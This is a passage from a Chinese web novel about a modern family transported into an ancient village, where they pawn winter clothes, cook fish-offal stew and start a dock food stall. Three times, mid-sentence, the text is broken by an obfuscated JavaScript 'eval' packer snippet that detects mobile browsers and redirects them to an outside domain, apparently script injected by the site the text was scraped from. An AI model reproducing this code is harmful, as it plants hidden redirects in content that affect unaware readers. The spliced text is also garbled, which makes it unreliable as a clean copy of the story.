今日天气不大好，码头的货船一艘接一艘，林书润听人说最近可能要下雨，担心几天没活干，有心想要多赚点银钱，忙到天黑才归家，带回半只烧鸡，一把葵菜，一斤重的鲢鳙。 按照原主的记忆里，每每到了田地里菜蔬青黄不接的时节，唯有葵菜过渡，摘去一些嫩叶，过上几日，又能摘一大把炒着吃。 现在的时节，地里的莴笋、萝卜、白菜等农作物还在生长期，家家户户都是吃葵菜，林家地里也种植了葵菜，因为疏于打理，田地贫瘠，野草茂盛，王家村其他人家的葵菜早早能吃了，林家的葵菜缺乏肥料，仍是瘦弱小苗。 好在这个季节到处都是吃不完的葵菜，便宜量大，一大把，讲讲价，一枚铜板拿下。 将噶了的鲢鱼开膛破肚，处理好，鱼身均匀抹上一层盐巴腌制，现在天气冷，能放到第二天吃。 接下来她撕好了烧鸡，装进盘子，放到米饭上热一热，一把葵菜，炒了一大盘。 林青叶忙前忙后端菜端饭，等众人坐下，也跟着落座，他没吃过葵菜，夹来一筷子，焯过水的葵菜有一股透明黏液，嫩茎叶口感滑滑的，还算清爽。 连续吃了几日荤腥，他就喜欢清爽可口的蔬菜。 林芫花不喜欢葵菜的黏液，伸筷子去夹烧鸡。 老爸林书润的筷子先她一步夹走鸡腿，放到陆英饭碗里:“今天你辛苦了，吃个鸡腿补补身子。” 吃了一嘴狗粮的林芫花:“……” 算了，反正从小到大在家里吃饭，她和林青叶从没到过鸡腿。 家里的鸡腿，一直是老爸老妈的。 在家里，她和林青叶只能吃到鸡翅膀。 一直到初中，林芫花终于在学校食堂吃到了鸡腿，知道鸡腿是何种滋味。 转而去夹鸡翅膀，被老爸的筷子抢先夹走，林芫花只好退而求其次加别的部位，夹到碗里，发现是一块鸡胸脯。 这个部位肉质容易干柴，但下一秒，她双眼放光，竟然软烂入味，吃着一点不柴。 林书润啃着鸡翅:“怎么样，这家是临江城出了名的钱氏烧鸡，味道不错吧！” 刚才林芫花撕烧鸡的时候，就闻到香气了，因为回来路程长，放凉了，看着平平无奇，没想到回锅蒸热后，烧鸡香得出奇，咬上一口鲜嫩多汁，连肉质厚实的胸脯肉都很入味。 听到老爸询问，她答道:“好香，鸡汁四溢。” 咬一口，嘴巴里包满了鸡肉，太满足了。 妈妈陆英闷头啃鸡腿，弟弟林青叶也被烧鸡吸引，随手撕的烧鸡块，大小不一，他的目光游移，落在一块带有鸡皮的烧鸡块。 随着木筷夹起，富含油脂与胶原蛋白的鸡皮一晃一悠，仿佛刷了一层蜂蜜，呈现诱人的琥珀色，油亮亮。 可以想象到刚出火炉的烧鸡，表皮脆脆的，咬起来咯吱咯吱，形似玻璃脆皮的鸡皮油脂，在口腔里迸发的感受。 蒸过的烧鸡，鸡皮不复香脆，偏柔软的口感，弹牙，很有嚼劲，鸡肉软烂多汁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458067|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，混着各种香料，另有一番风味。 饭后，林青叶去院子水井边洗碗。 堂屋里，夫妻俩盘算着手里攒下的银钱，商量着把天地抵押出去，换些银子赎回棉裤，看过票根，还有半月时日，活当快到期了。 秋季播种时，原身林书润想要把冬衣拿去典当，换银子买麦种，给家里添置生活日用，即便到了山穷水尽，也没想过典当家里仅剩的几块薄田度日。 因为这几块薄田，是林书润求取陆英时的聘礼。 当初林书润求取陆英，陆英的哥哥嫂嫂来王家村打听了他的为人，死活不同意，后来看在几块薄田的份上，才勉强同意这门亲事。 短短时间里挣五两银子，比登天还难，眼见今日天气阴沉沉，陆英觉得接下来温度会继续降低，这样熬着受冻不是办法，先把棉裤赎回来，银钱的事，之后再想办法积累。 夫妻俩在堂屋商量，林芫花听到外头有三五成群的村民说闲话，探出脑袋张望。 现在是农闲时节，除了偶尔到地里除除草，施施肥，没旁的事，吃过饭后，王家村的村民们聚集在一起，谈论弄物国事，各抒己见。 林芫花岀不了门，凑耳听一听，了解穿越的生活环境。 有眼尖的人扫到她，其他人跟着望来，说话的村民哑了声，没一会儿散了开来。 林芫花:“？” 她有这么可怕吗？ 白天睡过午觉，晚上在床上翻来覆去睡不着，这一折腾，到了深夜。 于是第二天，林芫花起得迟了。 等她起床时，照着铜镜梳好发髻，其实也就是随意扎了个侧马尾。 铜镜经过打磨抛光，清晰得能看清楚脸上的痘痘，整体干净，不见一丝灰尘，足以可见原主平时很爱惜它。 原主的父亲要将铜镜拿去典当时，原主哭哭啼啼，才保下。 林芫花抬手轻轻摩擦着铜镜，拿到手里，出了西厢，堂屋里林书润早早起床，已经做好了早饭。 一碗稀饭，配上腌制的香煎鱼块。 林青叶喝着稀饭，瞄到什么，哈哈大笑:“林芫花，你看你脸上长了个痘痘，活该，哈哈。” 林芫花没搭理幸灾乐祸的狗弟弟，坐到饭桌，拿出冰手的铜镜:“老爸，你拿去当铺当了吧，应该能值点钱。” 林书润想到原身的女儿做刺绣，攒了一年的银钱，买下这块铜镜，原身提出典当铜镜，被女儿哭哭啼啼的心烦，又想着女儿好颜色，将来定能进嫁一个金龟婿，留着铜镜有用，然后熄了典当铜镜的念头。 他拿起铜镜照了照自己，抬手将鬓角的碎发抚上，故意逗女儿:“你真舍得？” 林芫花:“先把棉裤赎回来，以后家里有钱了，老爸要给我买一个更好的。” 林书润整理了头发，臭美了一番:“嗯，咱家的困境只是一时的，等以后有了存款，给你买更好的铜镜。” 林青叶插了句话:“等咱们家有了钱，以后盖个更大的房子，给我盖个屋子，我不想住柴房了。” 倒霉催的，没穿越前，家里重女轻男，结果穿越了，原主这一家还是重女轻男。 家里只有东西厢房，一间厨房，一间堂屋，还有破旧的柴房，姐姐林芫花住西厢，他与柴禾为伴，纸窗还破了几个洞，大晚上的，北风呼呼吹，给他冷的大鼻涕直流。 听了好大儿的委屈，林书润安抚说:“好好好，也给你盖个房间。” 吃过早饭，陆英给儿女塞来蜜橘:“补充点维生素。” 林芫花摇头:“不吃，天冷，好冰牙。” 林青叶拿了只，剩下的蜜橘被陆英一股脑儿塞给了丈夫，说:“她们不爱吃，要不拿去卖了吧！” 林青叶:“谁说不爱吃，我爱吃啊。” “行，那我拿去码头卖卖看。”林书润拎着蜜橘筐，头也不回地出了院门。 林青叶:“……不是，都没人理我的吗？” 他撅着嘴巴。 5. 鱼杂羹 一整个上午，湖面的风呼啸，裹挟着湿气，刺骨的冷，叫人怀念起前两日的暖阳。 头顶阴云密布，吹得湖面波纹荡漾。 午时，林书润到杨大力的船舱热饭，听对方说起按照他教的去腥法子，烹饪的鱼杂羹一上午全部卖完了。 两人说着话，忽地木船顶有水滴兜头砸了下来，密密麻麻。 挑开草帘子，豆大的雨滴落下，整个码头笼罩在细碎的雨帘。 对于谋生的工人与船夫来说，靠天吃饭，这场冬雨，叫林书润与杨大力不约而同轻叹了气。 大部分货包不能被雨水淋湿，所以一整个下午，码头的工人躲雨，几乎没有雇主。 林书润上午挣了三十余文，一整个下午没活儿，杨大力借了蓑衣，用草绳串了一串鲫鱼:“这个鬼天气，反正也卖不出去，得亏林兄弟给的去腥方子帮了我大忙，一点心意。” 他也不扭捏:“多谢杨大哥了，今日天气不好，你也早些回家吧！” 林书润拎着鲜鲫鱼回了家，将今日挣的银钱，死当的铜镜，以及卖蜜橘的银钱，一股脑儿放到桌上:“这是我今日挣的三十三文，铜镜当了五百零八文，蜜橘以两百八十文卖掉。” “大半篮子蜜橘，卖了不少。”陆英算了笔账，道:“加上我挣的一两银子，这几天你往家里拿回来的银钱，差八文，就能有二两银子了。” 林书润沉吟道:“看明日天气怎么样，天气不好，我去临江城问问牙婆，抵押田地的事，顺便把杨大哥的蓑衣还了去。” 第二天，大雨转小，蒙蒙细雨，空气里是潮湿的冷意。 “打豆腐嘞，新鲜打好的嫩豆腐嘞！” 外头天寒地冻，又下着雨，买卖不好，王家村的豆腐西施，挑着扁担四处叫卖，陆英想到好久没吃豆腐，而且豆腐富含蛋白质，当即出了堂屋，喊停了豆腐西施。 “老豆腐煎着吃，一块两文，嫩豆腐，一文一块，可以下汤里，还有豆腐皮……” 听着豆腐西施介绍，陆英想到家里还剩一只腌制的鲢鱼头，几条鲜活鲫鱼，想着可以打个鱼头豆腐汤，或是鲫鱼豆腐汤，摸出四个铜板:“要一块老豆腐，两块嫩的。” 豆腐西施接过铜板，拿油纸包包好，草绳一系，递来。 陆英一手遮挡透顶的雨水，一手提着油纸包匆匆跑回家。 吃过早饭，林书润在院子里修理被狂风吹得七倒八歪的篱笆小院，忙活了大半个时辰，准备去临江城找牙婆，院外临时有客人来访。 陆英支使着儿女烧点热水待客，她与丈夫则在堂屋招呼着客人。 按照原主林芫花的记忆，这对三十五岁左右的夫妻，是她的舅舅和舅母。 每每舅舅舅母登门，都会带些米粮和干货来接济不成器的妹妹妹夫。 这次也不例外，她舅舅蓑衣下扛着一袋子米粮，舅母挎着只竹篮，里头装了些咸菜和干货。 林芫花端着热水来到堂屋，陆贯仲佝偻着脊背，脚边置放着大半袋米粮，沉甸甸。 接过外甥女端来的热水，陆贯仲冻僵的双手贴着滚烫的碗沿，暗暗打量她，衣着单薄，连条厚棉裤都没有，瞧着可怜见的。 当初他不同意陆英和林书润的事，林书润除了长得一副斯斯文文的好颜色，不事生产，一无是处，跟了对方，将来带着孩子吃糠咽菜，一辈子都完了。 果不其然，连累孩子也跟着吃苦。 妹妹留他们在家里吃饭，等林书润去厨房帮忙，私下里，陆贯仲拉着陆英:“当初你要是听了我的话，找个踏实能干的，现在也是小地主婆了。以前你看不上的吴长平，当上了庄子的管事，名下十几亩良田，娶的媳妇儿跟着吃香喝辣。过日子，跟谁过都一样，你看你找的这个。” 陆英回忆了番原主记忆里关于吴长平的外貌，身高跟原主差不多，矮胖身量，皮肤黝黑，人踏实上进，条件比林书润强上许多，模样比起林书润差了十万八千里。 过日子，怎么可能跟谁都一样？ 清晨从睡梦中苏醒，枕边人是头猪，还是个大帅哥，一天的心情好坏完全不一样啊！ 如果再生个丑娃，才是一辈子完球了。 陆英承认，她跟这具身体的原主一样看脸又现实。 钱，她会想办法挣。 她每天看着帅老公，秀色可餐，饭都能多吃上一碗。 对于原身哥哥恨铁不成钢的话，陆英心底千百个不赞同，面上不显:“近些时日，书润已经戒了酒和赌，每日在码头做工，能养活我和一双儿女。” 陆贯仲:“得了吧，你别替他说话哄我了，就他那德行，随了他那个酒鬼爹，能给你和外甥们一口热饭吃就不错了。” 说话间，厨房里传出林书润告诉她们开饭的消息。 饭桌上，一碟香煎豆腐、鲢鱼头豆腐汤，铺了碧色小葱的干煸鲫鱼，粗瓷碗里的白米饭，压得紧实。 陆贯仲与妻子宋氏面面相窥，从堂屋堆着米粮的布袋收回目光，在陆英的饭菜快要凉了，趁热吃的催促下，夫妻俩端起饭碗。 香煎豆腐块，表面一层恰到好吃的金黄酥皮，锁住豆腐的水分，外焦里嫩，也不知道怎么烹饪的，吃着比家里做的还香。 奶白色的鱼头豆腐汤，炖得浓稠咸鲜，尤其是里头的嫩豆腐，煮出蜂窝状的孔洞，吸饱了鲜鱼汤，水嫩嫩，嘴巴一抿，入口即化，浓浓的豆子香，清甜得咧。 稠白的鱼汤，点痣着碧绿葱花，赏心悦目，看着就很有食欲。 巴掌大的小鲫鱼，以热油炸过，鱼骨都是酥酥的，连鱼头都是嘎嘣脆，根本不用吐鱼刺。 添了小葱段的干煸鲫鱼，一点点盐巴，滋味儿好极了。 宋氏想着，又觉得林书润败家，寻常人家哪舍得拿菜籽油炸鱼，照这个吃法，一斤油吃不了两三个月，太奢侈了。 打量小姑子一家四口身量单薄，面上多了些气血，看来林书润真的洗心革面，到码头做工去了。 以往宋梅跟着丈夫到王家村，小姑子家桌上见不到一丁点荤腥，现在日子过的好一些，她这个做嫂嫂的，总算舒了一口气。 又听丈夫陆贯仲开口:“还有两个月是新年，年关将至，你带花花叶叶回家一趟，家里老娘挂念你们，念叨得紧。” 陆英应了声。 林芫花扒米饭的动作微滞。 穿越前，她也有个老中医外婆。 打从记事起，外婆很早就过世了，她和弟弟的名字都是外婆翻阅医书起的。 原主林芫花也有个乡野赤脚大夫的外婆，原主一家四口的名字，跟她们一家人一模一样，更离奇的是，原主一家的外貌，与她们也有七八分神似。 刚穿来时，林芫花问过父母和弟弟，车祸发生时，是否听见一道说话声。 得到的答案，父母和弟弟昏迷后，再次睁开眼，然后到了这个陌生的环境。 吃过午饭，陆英夫妻俩与兄嫂说了会儿话，临走前，陆贯仲掏出特意兑换的二两碎银。 见妹妹推拒，陆贯仲强硬说:“你嫂子也首肯的。拿着回头去当铺把棉裤赎回来，哥哥只恨自己没本事，只能帮你到这里了。再多的，也帮不上忙。” 陆英朝宋梅望去一眼，想了想，收下二两银子，送兄嫂出了院子，望着两道背影消失在雨幕。 交通不发达，好一点的人家，出行乘坐牛车驴车，陆贯仲夫妻家也不富裕，出行靠双腿，从王家村到陆家村隔着好几里地，夫妻俩大冬天，顶着肆虐的寒风，给不成器的妹妹妹夫送粮。 回到堂屋，陆英同丈夫商量:“这几年，原主哥哥嫂嫂时常接济，送银子送粮，加在一起约摸有十四两银子。今日陆贯仲给的二两，咱们手上统共快有四两银子，能赎回两条棉裤，与其把几亩薄田拿去抵押给旁人，不如抵押给兄长。一年期限，明年这个时候如果还不上兄长的十四两银子，我们把田产抵给兄嫂。毕竟兄长有自己的小家庭，老是接济妹妹，嫂嫂大度，嘴上不说，日久天长，心里总是不舒服，咱们不好欠别人人情。” 林书润也是这个意思，经过冒雨送粮一事，在心里把对方当成了自己的兄长:“阿兄夫妻俩厚道，我们不能白白占人便宜，先赎回两条棉裤，剩下的攒一攒，要不了一个月。” 夫妻俩商定后，林书润冒着大雨去当铺赎棉裤了。 将包裹棉裤的包袱藏在蓑衣下，林书润又去了趟东市，在集市卖鱼的摊贩处寻到杨大力。 这家鱼摊是杨大力的弟弟开设，售卖鲜鱼活虾，杨大力则靠着在码头撑船营生。 条件好些的人家，颇为讲究，认为孩童不能吃没见过日头的东西，一般不要鱼籽鱼杂，所以鱼摊上经常会积累到一定量的鱼籽鱼杂。 杨大力家鱼籽鱼杂吃不完，见有渔夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458068|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船娘烹煮鱼籽鱼杂售卖，赚些外快，想着鱼籽鱼杂吃不完，太浪费，拿到码头煮一煮，换些银钱也是好的。 他前来归还蓑衣，被杨大力塞了一兜子鱼籽鱼杂:“快到年底，搭船的客人多了，我撑船吃力，没工夫烹煮鱼籽鱼杂了，给朋友家人送了些，还剩下许多，只能浪费了，你闺女会煮鱼杂，拿些尝尝鲜。” 话落，杨大力灵光乍现:“咦，要不让你闺女帮我烹煮鱼杂，这样既不浪费，你闺女也能给家里挣些银钱，上午做半天活，给一百二十文，林兄弟你看，行不行？” 林书润没一口答应，只说:“我回去问问闺女，她愿意的话，明早我领人来鱼摊。” 事情就这么说定了，回到家，他把这个消息告诉闺女。 按照原主的记忆，普通厨娘在厨房熬上一两年，每月能有三四百文，在码头烹煮鱼籽，小半天，做工时间短，能得一百二十文，林芫花清楚自己厨艺基本功一般，让她到厨房当墩子熬资历，一万个不情愿。 给杨叔打工，是个不错的选择，等积累到一定存款，出来单干做点别的小买卖，或是摆摊卖点其它吃食。 第二天一早，吃过早饭，仍是阴天，风刮得大，往人脸上割，好在没下雨。 林芫花套上了厚实的棉裤，父女俩前往临江城。 放在以前，她无法理解tvb古装剧里有人典当冬衣，破破烂烂的衣裳，当铺收回去，能卖得出去吗？ 一路上，感受到棉裤将寒风抵御在外间，双腿暖和，直到身临其境后，林芫花才明白，对于饥寒交迫的底层百姓来说，讲究人家不吃的鱼籽鱼杂、内脏、下水等，是饿着肚子的百姓们餐桌上的美味。 打着补丁的冬衣，也可为受冻的人御寒。 她生活的和平时代实在太美好了，高产的水稻，廉价的聚酯纤维，但凡手脚勤快点，基本饿不着，冻不着。 林芫花跺跺脚，裹紧了身上的棉袄，缩着脖子，瞧着父亲走到鱼摊，不多时，身后跟着个中年男人。 双方介绍认识后，三人结伴前往码头。 来到地方，林芫花接过鱼籽鱼杂，舀来澄澈湖水浸泡，泡出血水，清理掉鱼泡上的杂质，减少鱼腥气。 多清洗几遍，洗到完全没有血水，往锅里倒入清水，姜丝、葱结，倒入鱼籽鱼杂焯水。 焯水后捞出控干，沿着烧干的铁锅，浇淋一圈菜籽油，下入鱼籽鱼杂，立时传出滋滋的油煎声。 经过滚热油脂的浸润，鱼籽金黄油亮。 焯水和油煎的步骤，都能起到去腥的妙用。 她捞出油煎的鱼籽鱼杂，利用锅底的余油，加入姜丝葱段，看到调料有红酱，添了两勺，炒出浓油赤酱的红油。 低头瞧了瞧大半锅鱼籽鱼杂，怕酱料不够味，又往里添了两勺红酱，将鱼籽鱼杂重新倒入锅中，翻炒，尽可能让鱼杂全部裹上酱料，最后倒入清水没过食材，盖上盖子。 往炉子里猛猛添柴，不多时，扑通扑通，翻腾的水蒸气推动着锅盖。 揭开锅盖，鱼香四溢。 隔壁摊位要来碗飘着油花的猪下水的青年壮汉，闻见了咕嘟咕嘟的鱼香，扭头看来:“鱼杂羹多少钱一碗？” “三文钱。”厨娘猫着腰往锅里撒蒜苗和葱花，头也不抬地回。 青年道:“来一碗。” 送来鱼杂羹，拿起铜板，小厨娘一抬头，叫青年愣了下。 林芫花匆匆回到隔壁摊子，眨眼功夫，摊子前又来了位客人。 “哟，今日是个小厨娘，老杨不在吗，你是老杨什么人？” 听壮汉的语气，似乎是摊子上的熟客。 林芫花:“我是杨叔雇来的，要来一碗鱼杂羹吗？” “还是三文钱是吧，要一碗。”壮汉递出铜钱，端着鱼杂羹到一旁矮桌享用。 他从胸口掏出油纸包包裹的几张大饼，撕下几块，泡在鱼杂汤里。 等待浸泡大饼的功夫，壮汉迫不及待夹起块金黄鱼籽往嘴里送，一入口，就发现不对劲。 小厨娘烹煮鱼杂羹的手艺，比老杨的好太多了。 红彤彤的酱汁裹满了鱼籽，大块大块的鱼籽，颗粒分明，口感极佳，细细碎碎夹不起的鱼籽，用饼块一舀，一道往嘴里送。 吸饱了酱汁鱼汤的冰块，与鱼籽在口腔里爆开，一面吃饼，一面喝口热鲜汤，立时手脚暖烘烘。 6. 辣脚子 “老严，你不是来买猪下水汤，怎的来吃鱼杂羹了？咦，今天老杨家的摊子换了人。” 听到熟悉的声音，严老三抬眼:“小姑娘家家的，大冬天不容易，你要不也吃碗鱼杂羹，香得很，比老杨那货的手艺强多了。” “嗐，老杨就是一个撑船卖力气的汉子，哪里能跟小姑娘家家比。”李虎嘴上说着，打量小厨娘跟自家闺女差不多大的年岁，眼巴巴瞅着自己，可怜巴巴的小模样，于是摸摸鼻尖:“来，来一碗吧！” 林芫花顿时喜笑颜开:“稍等，马上来。” 李虎也准备去吃猪下水，五文钱一碗，油水足，泡一张大饼吃了，能管大半天，鱼杂羹嘛，吃了不顶饱，瞧着小姑娘可怜，鬼使神差的跟着严老三买了一碗。 揪了大饼泡到鱼汤里，李虎夹来一块最爱的鱼泡送嘴里，软糯爽滑有嚼劲，轻咦了声。 严老三贴着着粗瓷碗边转圈吸溜，四周散热快，不会烫嘴，肚里有食，心不慌，跟对面的壮汉道:“我就说小厨娘手艺不错吧。” “何止是不错，这碗鱼杂羹真鲜。”李虎大口嚼着鱼泡，抿一口酱汁鱼汤，咸鲜适口，冷硬的大饼，被汤汁泡得烂糊，都不用费力嚼，大饼吸收了汤汁，大饼的香，鱼汤的鲜。 咕嘟咕嘟的鱼杂羹，酱香醇厚，香飘十里，陆陆续续，有搬运工被吸引了来，其中不乏一些老顾客，以青年汉子居多。 这些青年搬运工大多十几二十岁出头，身强力壮，跟头牛犊似的，干体力活挣的多，也舍得吃，到隔壁买一碗油水充足的猪下水汤，配上一碗鱼杂羹，几张大饼，食量大得惊人。 隔壁售卖猪下水的摊贩一上午忙得脚不沾地，林芫花端来碗鱼杂羹，得了三个铜板，离开时，听对方唤同桌的青年“阿牛”，跟大牛打听昨日挣了多少文？ 家里饭桌上，林芫花听老爸口吻艳羡地提起过一个叫阿牛的青年，老爸可羡慕阿牛一天能挣两百多文了。 原来今日开张卖的鱼杂羹，就是码头上第一搬运工阿牛啊！ 这样想着，看朝阳初升，她刻意用锅铲拨弄着酱汁浓稠的鱼汤，让香气飘得更远，借此吸引到更多顾客。 再过一会儿，有货船停靠，过早的工人就少了。 她不但要卖完所有鱼杂羹，还要想办法尽早全部卖掉，生意好，明天就能卖更多…… 杨叔可是说了，卖的鱼杂羹越多，会给她提点，除了弟弟，杨叔还有其他亲戚也开鱼摊，多的是鱼杂。 很快有路过三五成群的工人被扑鼻的酱香鱼香吸引，停在摊子前，摸摸干瘪的肚子，连续吃了四五日猪下水汤，肠胃不那么缺油水，被鱼杂羹勾起了馋虫，琢磨着要么今天换换口味？ 问了鱼杂羹的售价，三文一碗钱，比猪下水汤便宜一半，价格合适。 三人要了鱼杂羹，另外两人到隔壁猪下水摊去了。 很快，另两人端着猪下水汤过来拼桌。 见他们三人埋头挖着鱼杂吃，两人非常不理解:“鱼杂再怎么烹饪，都有一股去不掉的鱼腥气，不如猪下水吃着有油水，长力气。何必为了省三文钱。” 三人埋头吃饼喝汤，引得说话的人看来，嗅到浓郁的酱香，忍不住好奇地从同伴碗里夹来块鱼泡，炖煮得软糯糯，吸收了酱汤汁的风味，吃不到一丁点怪味，比想象中的还要鲜香。 他还要再去夹一块鱼泡时，惹得同伴急了眼:“够了啊，一碗鱼杂羹，统共没几只鱼泡。” 得了警告，赵二柱伸出的木筷，悻悻收回。 同伴则用鱼籽拌着泡软的饼块，大口大口往嘴里扒拉，发现一块白嫩似猪脑的鱼杂，竟是鲤鱼的精华，鱼白。 他运气不错，鱼白吃着面面的，有点类似烫熟的猪脑花，一碗鱼杂羹，竟是比鲜鱼还香。 …… 杨大力撑船送走第二波船客，见林芫花在渡口边收拾铁锅碗筷，打量了头顶的天气，啧啧称奇:“十斤鱼杂，这么快卖完了？” 往常这个时间，他要到临近中午才能卖完全部。 林芫花把铁锅碗筷放回小摊，从贴身的袖带里摸出只钱袋:“今日卖了二十三碗，共是六十九文，杨叔数数。” 杨大力怔怔:“嗐，以我跟你爹爹的交情，还信不过你么？” 林芫花笑着说:“一码归一码，还是数数吧，不怕一万就怕万一，当面点清，免得有疏漏。” “小姑娘家家，还挺较真。”杨大力拗不过，将钱袋子里的铜板一一点清:“六十九文，一文不少，杨叔收了，明日你不用去市集鱼摊寻我，跟着你爹爹直接来码头，我送鱼杂来，明日还是十斤。好了，这里没你的事，你现在回家，还是去找你爹爹？” 林芫花卖鱼杂羹时，瞅见老爸好几回，想了想:“我想去城里市集上转转。” 穿来这么久，还没来得及好好逛逛古代的市集，顺便找找有没有生财的法子。 出门前，妈妈陆英给了她几个铜板，拿着应急，来到城中热闹的东市，她张望着道路左右两旁林立的商铺，转悠一圈，出了市集。 手里没银钱，逛街一点不好玩。 走出一段路程，听见稚嫩的诵读声，林芫花顺着声音走到一处私塾。 距离午饭时间还早，她索性呆在私塾外听了会儿课。 想要快速了解一个陌生环境，无非就是通过市井茶楼，或是人文地理书籍…… 方才路过书铺，几文钱可以去书铺畅读，想到刚赎回棉裤，家里捉襟见肘，她没舍得。 猫在私塾外听了一堂课，林芫花颇有收获。 下了课，学子们鱼贯而出，林芫花准备离开，发现身后有个衣着整洁的圆滚滚小胖子跟着自己。 她一回头，小胖子脖子一缩，双下巴颤啊颤，似乎害怕极了。 林芫花又走出一段距离，发现小胖子还跟着自己，于是停下来:“你跟着我做什么？” 面对凶神恶煞的少女，王茂的双下巴挤成了三下巴:“我没有，谁跟着你了，我回家啊！” 林芫花突然觉得小胖子看着眼熟，仔细一回忆，好像是王家村村长家的宝贝疙瘩。 这家私塾离王家村与周边几个村镇距离比较近，几分钟的路程，不用家长接送，所以孩童下课后自行归家。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458069|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她向对方道歉:“对不住，我以为你跟着我，是坏人。” 王茂委屈极了。 他看着林芫花更像个坏人。 王茂年纪小，很快忘记这茬不快，问:“你在私塾外偷听夫子给我们上课，你听得懂吗？” 林芫花不费力辩解，只将论语朗诵出来。 惊得王茂睁大一双眼:“老天爷，我背了一堂课，都没背会的《论语》，你听夫子念完一遍，就能背出来！” 林芫花歪头:“很难吗。” 进了王家村，她挥一挥衣袖，快步离开。 留在原地的王茂，抓了抓后脑勺:“不难吗？我觉得挺难的啊！” 回到家中，饭桌上，王茂将今天发生的事情同家中长辈说了。 听孙儿说起林书润的女儿过目不忘，村长以为夸大其词，没当一回事。 另一边回到家的林芫花，一面支使林青叶去院子打水，一面盘算着码头卖鱼杂羹的事。 今日试营业，杨叔给了十来斤鱼杂，鱼杂是杀鱼时客人不要的，或是酒楼饭馆提前预定，有些专门采买鱼头，有的专门要鱼身，鱼贩子们把不要的鱼杂收集起来，几乎没有成本。 鱼杂羹只卖三文钱一碗，除开酱料、油盐调料、柴禾等开支，每碗鱼杂羹，能挣一文半，每月要支付给她一百二十文，休息两天，差不多四文多点的日薪。 一上午，差不多工作一两个时辰，工钱还是低了点。 昨天老爸带回的鱼杂太多，没吃完，热了一碗鱼籽鱼杂，剩下两碗，感觉还能吃上好几顿。 陆英和林青叶最爱鱼泡，林芫花则偏爱黄澄澄的大块鱼籽，鱼汤鱼籽拌个米饭，鲜得恨不得把舌头吞下去。 配上舅舅舅母带来自家亲手腌制的小咸菜，名为辣脚子，其实是腌制的芥菜，芥菜挥发油贡献了独特的辛香，刺激着人的味蕾，超级下饭。 就着一碟咸菜，扒完一碗鱼籽饭，还不满足，林芫花想要添半碗饭，林青叶大献殷勤:“我帮你盛。” 她再三叮嘱:“帮我添半碗，太多了吃不完。” 当林青叶笑嘻嘻递来满满当当的一碗米饭，林芫花就知道狗弟弟憋着坏:“黄鼠狼给鸡拜年，不安好心。” 林青叶:“我是看你跟个矮冬瓜似的，让你多吃点，长高一点。” 林芫花气呼呼，舀来鱼汤鱼籽拌饭，勉强吃掉大半碗，实在吃不下。 因为真真切切饿过肚子，不想浪费粮食。 陆英见了:“花花，吃不完就算了，别撑坏了，对身体不好。” 林芫花盯着碗底剩下的小半碗米饭，十分愧疚。 林青叶扫完自己碗里的米饭，顺手拿走她的饭碗，扫荡了个干干净净，摸着圆滚滚肚子，满足地打了个饱嗝儿。 被林芫花投来嫌弃的目光。 不合时宜想起穿越前，大学里的林青叶在外人模人样，阳光、帅气、篮球，这些词语，一度让他获封校草，欺骗了许多不知内情的年少无知的女孩。 林芫花的一位室友也曾迷恋过林青叶…… 啧啧，太没眼光了。 7. 蛋炒饭 “林青叶，把碗洗了。” 对于林芫花的支使，林青叶慢吞吞:“刚吃饱饭，等我缓缓。” 林芫花懒得搭理他，因为有王家村的村民上门了。 得益于隔壁李婶的宣传，整个王家村都知道了陆英一手精湛的缝补手艺，能把破了洞的衣裳，补得完好无损。 王家村村长的儿媳听了，心动不已，这不，经由宋氏牵线，带着鸡蛋和破了的袄子登门拜访。 说明来意，村长儿媳忐忑不安。 陆英倒没觉得什么，宋氏提前跟自己通过气，自己同意了，趁着天气不好清闲在家，多挣几颗鸡蛋，给家人补补身子也是好的。 接过棉袄，陆英招呼着宋氏与村长家的儿媳沈氏落座，找来针线簸箕，拆开缝线抽丝…… 宋氏家里有点急事，同沈氏交代了声，回了家。 堂屋里只剩下沈氏与陆英有一搭没一搭说着闲话，说起今日自家的茂儿在私塾见到林芫花，说起过目不忘背诵《论语》的事。 沈氏端详陆英面色平静地应和了声，似乎不见惊讶，转念想到陆英大字不识，大概不明白林芫花过目不忘的本事有多厉害。 可惜，是个闺女。 如果是个儿郎，正儿八经去私塾学几年学问，说不定将来能考个秀才回来，那才是光宗耀祖呢！ “妹子，缝好了。” 陆英的话，拉回了沈氏的思绪，接过递来的长袄，摸摸这处，摸摸那处:“真的跟宋嫂说的一样，多谢陆嫂子了。” 送走沈氏，林家桌上的竹篮子里，多了四颗圆滚滚的鸡蛋。 …… 隔壁家传出公鸡打鸣了一遍又一遍，听到东厢房吱呀的开门声，林芫花在被窝里磨磨蹭蹭，睡下一整晚，双脚冰凉似铁，无奈抓过压在棉被上的袄子套上。 